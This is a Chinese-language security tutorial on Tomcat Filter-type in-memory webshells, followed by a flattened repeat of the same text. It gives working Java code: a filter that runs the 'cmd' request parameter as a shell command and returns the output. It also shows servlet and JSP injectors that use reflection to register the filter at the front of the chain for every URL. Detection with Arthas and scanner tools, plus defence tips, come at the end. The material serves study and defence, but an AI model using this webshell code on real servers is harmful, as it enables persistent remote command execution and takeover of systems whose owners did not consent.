Tomcat Filter 型内存马流程理解与手写 EXP
字数 1340 2025-08-12 11:34:19

Tomcat Filter 型内存马原理与实现详解

0x01 前言

Filter(过滤器)是Servlet规范中的重要组件,可以拦截和修改用户请求。通过动态创建恶意Filter并将其置于Filter链最前面,可以构造内存Webshell,实现命令执行等恶意操作。

0x02 Tomcat Filter流程分析

环境准备

  • Maven 3.6.3
  • Tomcat 8.5.81
  • 添加Tomcat依赖:
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.81</version>
    <scope>provided</scope>
</dependency>

Filter执行流程

  1. Filter链调用流程

    • 请求首先进入ApplicationFilterChain.doFilter()
    • 调用internalDoFilter()方法
    • 通过filters[pos++]获取Filter实例
    • 最后一个Filter会调用Servlet.service()
  2. Filter创建流程

    • StandardEngineValve.invoke()开始处理请求
    • 通过ApplicationFilterFactory.createFilterChain()创建Filter链
    • StandardContext.filterMaps获取Filter映射关系
    • 匹配成功后从StandardContext.filterConfigs获取Filter实例

关键数据结构

StandardContext类存储了Filter相关的重要数据:

private HashMap<String, ApplicationFilterConfig> filterConfigs;
private HashMap<String, FilterDef> filterDefs;
private final StandardContext.ContextFilterMaps filterMaps;
  • filterConfigs: 存储Filter名称与ApplicationFilterConfig的映射
  • filterDefs: 存储Filter名称与FilterDef的映射
  • filterMaps: 存储Filter与URL模式的映射关系

0x03 攻击思路分析

攻击目标

动态注册恶意Filter并置于Filter链最前面

实现步骤

  1. 获取当前应用的StandardContext
  2. 创建恶意Filter对象
  3. 创建并配置FilterDef
  4. 创建并配置FilterMap
  5. 创建ApplicationFilterConfig并添加到filterConfigs

0x04 Filter型内存马实现

恶意Filter示例

public class EvilFilter implements Filter {
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} 
                                   : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            return;
        }
        chain.doFilter(request, response);
    }
    // 其他方法省略...
}

完整EXP实现

import org.apache.catalina.*;
import org.apache.tomcat.util.descriptor.web.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;

public class FilterShell extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) 
        throws ServletException, IOException {
        try {
            // 获取StandardContext
            ServletContext servletContext = request.getSession().getServletContext();
            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
            
            String filterName = "cmd_Filter";
            Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
            configs.setAccessible(true);
            Map filterConfigs = (Map) configs.get(standardContext);
            
            if (filterConfigs.get(filterName) == null) {
                // 创建恶意Filter
                Filter filter = new Filter() {
                    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) 
                        throws IOException, ServletException {
                        // 恶意代码实现...
                    }
                    // 其他方法省略...
                };
                
                // 创建并添加FilterDef
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(filterName);
                filterDef.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(filterDef);
                
                // 创建并添加FilterMap
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName(filterName);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(filterMap);
                
                // 创建并添加ApplicationFilterConfig
                Constructor constructor = ApplicationFilterConfig.class
                    .getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) 
                    constructor.newInstance(standardContext, filterDef);
                filterConfigs.put(filterName, filterConfig);
                
                response.getWriter().write("Inject Success");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

JSP版本内存马

<%@ page import="org.apache.catalina.core.*, java.lang.reflect.*, org.apache.tomcat.util.descriptor.web.*" %>
<%
    String name = "Drunkbaby";
    // 获取StandardContext代码同上...
    
    if (filterConfigs.get(name) == null) {
        Filter filter = new Filter() {
            public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) 
                throws IOException, ServletException {
                // 恶意代码实现...
            }
            // 其他方法省略...
        };
        
        // 添加FilterDef、FilterMap、FilterConfig代码同上...
        
        out.print("Inject Success");
    }
%>

0x05 内存马检测方法

1. 使用Arthas工具

java -jar arthas-boot.jar

检测命令:

sc *.Filter
jad --source-only 类名
watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'

2. 使用copagent工具

项目地址:https://github.com/LandGrey/copagent

3. 使用java-memshell-scanner

项目地址:https://github.com/c0ny1/java-memshell-scanner

检测原理:

  • 遍历filterMaps中的所有filterMap
  • 通过反射调用StandardContext#removeFilterDef进行删除

0x06 防御建议

  1. 限制上传和执行动态脚本
  2. 监控Filter的动态注册行为
  3. 定期检查服务器上的可疑Filter
  4. 使用安全工具进行定期扫描

0x07 总结

Filter型内存马的核心是通过反射获取StandardContext,然后动态注册恶意Filter。防御关键在于监控Filter的动态注册行为和定期检查Filter链。

Tomcat Filter 型内存马原理与实现详解 0x01 前言 Filter(过滤器)是Servlet规范中的重要组件,可以拦截和修改用户请求。通过动态创建恶意Filter并将其置于Filter链最前面,可以构造内存Webshell,实现命令执行等恶意操作。 0x02 Tomcat Filter流程分析 环境准备 Maven 3.6.3 Tomcat 8.5.81 添加Tomcat依赖: Filter执行流程 Filter链调用流程 : 请求首先进入 ApplicationFilterChain.doFilter() 调用 internalDoFilter() 方法 通过 filters[pos++] 获取Filter实例 最后一个Filter会调用 Servlet.service() Filter创建流程 : StandardEngineValve.invoke() 开始处理请求 通过 ApplicationFilterFactory.createFilterChain() 创建Filter链 从 StandardContext.filterMaps 获取Filter映射关系 匹配成功后从 StandardContext.filterConfigs 获取Filter实例 关键数据结构 StandardContext 类存储了Filter相关的重要数据: filterConfigs : 存储Filter名称与 ApplicationFilterConfig 的映射 filterDefs : 存储Filter名称与 FilterDef 的映射 filterMaps : 存储Filter与URL模式的映射关系 0x03 攻击思路分析 攻击目标 动态注册恶意Filter并置于Filter链最前面 实现步骤 获取当前应用的 StandardContext 创建恶意Filter对象 创建并配置 FilterDef 创建并配置 FilterMap 创建 ApplicationFilterConfig 并添加到 filterConfigs 0x04 Filter型内存马实现 恶意Filter示例 完整EXP实现 JSP版本内存马 0x05 内存马检测方法 1. 使用Arthas工具 检测命令: 2. 使用copagent工具 项目地址:https://github.com/LandGrey/copagent 3. 使用java-memshell-scanner 项目地址:https://github.com/c0ny1/java-memshell-scanner 检测原理: 遍历 filterMaps 中的所有 filterMap 通过反射调用 StandardContext#removeFilterDef 进行删除 0x06 防御建议 限制上传和执行动态脚本 监控Filter的动态注册行为 定期检查服务器上的可疑Filter 使用安全工具进行定期扫描 0x07 总结 Filter型内存马的核心是通过反射获取 StandardContext ,然后动态注册恶意Filter。防御关键在于监控Filter的动态注册行为和定期检查Filter链。